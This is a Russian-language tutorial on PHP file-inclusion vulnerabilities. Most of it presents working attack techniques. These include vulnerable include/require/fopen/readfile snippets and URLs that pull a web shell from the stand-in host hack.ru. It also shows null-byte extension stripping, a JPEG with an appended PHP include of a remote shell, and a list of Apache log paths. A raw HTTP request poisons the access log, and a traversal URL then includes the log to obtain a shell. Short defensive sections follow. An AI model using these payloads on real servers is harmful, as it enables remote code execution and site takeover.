PHP-include и способы защиты



  • Глобальный инклуд
  • Защита от глобальный инклудов
  • Локальный инклуд
  • Логи апатча
  • Защита от локальных инклудов


  • Введение

    Глобальный инклуд

    Наиболее опасная из уязвимостей веба, но к сожалению, или к счастью встречается в наше время крайне редко. Для атаки необходимо, что б функция allow_url_include была включена, тоесть "On"
    Уязвимость позволяет злоумышленнику выполнить на сервере произвольный php код.
    В PHP существуют четыре функции для включения файлов в сценарии PHP:

    * include();
    * include_once();
    * require();
    * require_once().


    Функция include() включает содержимое файла в сценарий. Рассмотрим пример "дважды" уязвимого кода:
    <?php
        if($_GET['page'].'.php')
        {
             include($_GET['page'].'.php');
        }
        else
        {
             include($file.'.php');
        }
    ?>
    
    С помощью условия мы проверяем, если через url на сервер передается элемент массива $_GET['page'], то вызываем функцию include(). Из-за того, что значение массива $_GET['page'] не проверяется на существование, с помощью функции file_exists() злоумышленник может провести атаку:

    http://site.ru/index.php?page=http://hack.ru/shellВ ином случае мы инклудим include($file.'.php'); Тут таже ситуация, просто запись кода немного другая. Переменная $file не
    была определенна раннее и злоумышленник может выполнить удаленно php код:
    http://site.ru/index.php?file=http://hack.ru/shellФункция include_once() практически не отличается от include(), за одним исключением: прежде чем включать файл в программу, она проверяет, не был ли он включен ранее. Если файл уже был включен, вызов include_once() игнорируется, а если нет - происходит стандартное включение файла.

    <?php
        
    include_once($file.'.gif'); ?>
    В этом примере к подгружаемому файлу автоматически приписывается расширение '.gif'
    Избавиться от расширения '.gif' можно двумя способами:
    1) если magic_quotes_gpc = Off то можно использовать "ядовитый ноль" - %00 который отрежит расширение
    http://site.ru/index.php?file=http://hack.ru/shell.php%002) даже если magic_quotes_gpc = On
    http://site.ru/index.php?file=http://hack.ru/shell.php?Функция require() аналогична include(), за исключением одного - файл, определяемый параметром require(), включается в сценарий независимо от местонахождения require() в сценарии.
    <?php
        
    require($file);
    ?>
    Атака аналогична, но в этом случае расширение не приписывается:
    http://site.ru/index.php?page=http://hack.ru/shell.phpФункция require_once() загружает файл в сценарий всего один раз.
    <?php
        
    require_once($file.'.php');
    ?>
    Атака аналогична...

    Теперь рассмотрим другой вариант инклуда. На этот раз необходимо, что б в файле php.ini
    значение параметра allow_url_fopen было равно On, что и есть по умолчанию.
    PHP код:
    <?php
        $f=fopen("$file.php","r");
        
        while (!feof($f))
        {
            $s=fgets($f,255);
            echo $s;
        }
        
        fclose($f);
    ?>
    
    Из-за того что переменная $file не была определена ранее, злоумышленник может произвести атаку:
    http://site.ru/index.php?file=http://hack.ru/shellВ итоге опять получаем веб-шелл.

    Следующий пример - использование функции readfile()
    <?php
        readfile
    ($file); 
    ?>
    Функция readfile() считывает файл, имя которого передано ей в качестве параметра, и выводит его содержимое на экран.
    В итоге опять получаем веб-шелл:
    http://site.ru/index.php?file=http://hack.ru/shellТеперь рассмотрим такой вариант:

    <?php  
        
    echo implode(""file($file));
    ?>
    С помощью функции implode() мы объединяем элементы массива в строку, а с помощью функции file() получаем содержимое файла в виде массива. В итоге опять имеем веб-шелл:
    http://site.ru/index.php?file=http://hack.ru/shell.php

    Защита от глобальный инклудов

    Конечно можно проверять файл на существование с помощью функции file_exists() и отфильтровывать нежелательные символы с помощью str_replace(), но я рекомендую использовать конструкцию switch case:

    <?php
        global $page;
        switch ($page) 
        {
            case '':
            include ("pages/main.php");
            break;
        
            case 'index':
            include ("pages/main.php");
            break;
            case 'page1':
            include ("pages/folder/page1.php");
            break;
            case 'page2':
            include ("pages/folder/page2.php");
            break;
        
            default:
            include ("pages/hack.php");
            break;
        }
    ?>
    
    Так же рекомендую отредактировать файл php.ini:

    allow_url_include = Off //запрещаем удаленно инклудить файлы
    allow_url_fopen = Off //запрещаем fopen открывать ссылки
    register_globals = Off //отключим инициализацию глобальных переменных
    safe_mode = On //включаем safe_mode (у хеккера не будет доступа к /etc/passwd и ему подобным)

    Локальный инклуд

    Не менее опасная уязвимость в вебе. Позволяет злоумышленнику инклудить файлы лежащие на сервере. Многие новички сталкиваясь с данной ошибкой веб-кодинга бросают дело, т.к не знают как действовать дальше и в какую сторону копать. Я приведу общий пример:
    <?php
        
    include("include/$file"); 
    ?>
    Глобально проинклудить не получиться, т.к переменная $file приписывается после каталога /include/
    Что же можно сделать?

    Идеальным считается тот случай, когда на сайте стоит или форум или иная форма, с помощью которой можно загрузить любой файл c любым расширением.
    Возникает вопрос - а почему с любым расширением? Возьмем к примеру вымышленный сайт на котором есть возможность загрузки аватарки через форум. На форуме стоит скрипт, который проверяет - действительно ли пользователь загрузил фотографию? Открываем paint и сохраняем любое изображение к примеру в формате jpg. После чего открываем его блокнотом и после кода изображения пишем <?php include("http://hack.ru/shell.php"); ?> В итоге получаем примерно такую картину:
    			
    яШяа JFIF  ` ` яЫ C 		
    
    
     $.' ",#(7),01444'9=82<.342яЫ C			
    
    2!!222222222222222222222222222222222222222222222 22222яА  6 6" яД   	
    яД µ  } !1AQa"q2Ѓ‘Ў#B±БRСр$3br‚	
    %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ„…†‡€‰ Љ’“”•–—˜™љўЈ¤Ґ¦§Ё©ЄІіґµ¶·ё№єВГДЕЖЗИЙКТУФХЦЧШЩЪбвгд ежзийкстуфхцчшщъяД   	
    яД µ  w !1AQaq"2ЃB‘Ў±Б	#3RрbrС
    
    $4б%с&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ѓ„…†‡€‰ Љ’“”•–—˜™љўЈ¤Ґ¦§Ё©ЄІіґµ¶·ё№єВГДЕЖЗИЙКТУФХЦЧШЩЪвгде жзийктуфхцчшщъяЪ   ? чъ(ўЂ
    (ўЂ
    (ўЂ
    (ўЂ
    (ўЂ
    (ўЂ
    (ўЂ
    (ўЂ
    
    (ўЂ
    (ўЂ
    (ўЂ
    (ўЂ
    (ўЂ
    (ўЂ
    (ўЂ
    (ўЂ?яЩ
    <?php include("http://hack.ru/shell.php"); ?>
    
    Теперь такую картинку можно загрузить на форум и она будет воспринята именно как картинка
    Вернемся к вопросу о расширении. Почему нам подойдет любое? Дело в том, что функция include()
    загружает код из одного файла в исполняемый файл. Вот пример:
    http://www.site.com/index.php?include=../forum/images/shell.jpgВ результате, в файле index.php выполняется код <?php include("http://hack.ru/shell.php"); ?>

    Логи апатча

    Как известно apache ведет лог-файлы httpd-access.log и httpd-error.log и все запросы
    естественно логируются и пишутся в соответствующие файлы. Вот примерное их расположение:
    /logs/error.log
    /logs/access.log
    
    /logs/error_log
    /logs/access_log
    
    /var/log/error_log 
    /var/log/access_log
    /var/log/error.log 
    /var/log/access.log
    
    /var/www/logs/error_log
    /var/www/logs/error.log
    
    /var/www/logs/access_log
    /var/www/logs/access.log
    
    /var/log/apache/error_log
    /var/log/apache/error.log
    /var/log/apache/access_log
    /var/log/apache/access.log
    
    /var/log/httpd/error.log
    /var/log/httpd/access.log
    
    /var/log/httpd/error_log
    /var/log/httpd/access_log
    
    /apache/logs/error.log
    /apache/logs/access.log
    /apache/logs/error_log
    /apache/logs/access_log
    
    /usr/local/apache/logs/error_log
    /usr/local/apache/logs/error.log
    
    /usr/local/apache/logs/access_log
    /usr/local/apache/logs/access.log
    
    /home/www/logs/error_log
    /home/www/logs/error.log
    /home/www/logs/access_log
    /home/www/logs/access.log
    
    Я же приведу пример на локалхосте, думаю многим понятнее будет. С помощью программы InetCrack я отправляю пакет такого содержания:
    GET /index.php/<?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    Заголовок пакета записывается в логи апатча, расположенные по адресу:
    Z:\usr\local\apache\logs\access.logТоесть в этот файлик записывается вот такая строчка:
    127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/<?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414Думаю суть понятна. Нам остается его проинклудить:
    http://localhost/1.php?file=../../../../usr/local/apache/logs/access.logИ получить веб-шелл :)

    Защита от локальных инклудов

    Вот небольшой примерчик, как можно надежно защититься:
    <?php
    


        
    function stripslashes_for_array(&$array
        {
            
    reset($array);    
            while (list(
    $key$val) = each($array)) 
            {
                if (
    is_string($val)) $array[$key] = stripslashes($val);
                elseif (
    is_array($val)) $array[$key] = stripslashes_for_array($val); 
            }
        return 
    $array;
        }  

        if (!
    get_magic_quotes_gpc())
        {
                
    stripslashes_for_array($_POST);
                
    stripslashes_for_array($_GET);
        }

        if(isset(
    $_GET['file']))$file=$_GET['file']; 
        else 
        { 
            if(isset(
    $_POST['file']))$file=$_POST['file'];          else $file='';      }      $file=str_replace('/','',$file);      $file=str_replace('.','',$file);      if(!file_exists("include".'/'.$file.'.php')||$file=='index')      {         $file='news';     }          include("include".'/'.$file.'.php');      ?>

    И так, что тут происходит? Каждый элемент массива проверяется функцией stripslashes(). Она убивает бэкслеши. Далее проверяем установлено или нет значение элемента массива. Отфильтровуем недопустимые символы('/', '.') функцией str_replace(). Если файла не существует (проверяем с помощью функции file_exists()) - присваиваем значение переменной $file='news'. В остальных случаях(когда файл существует) инклудим его.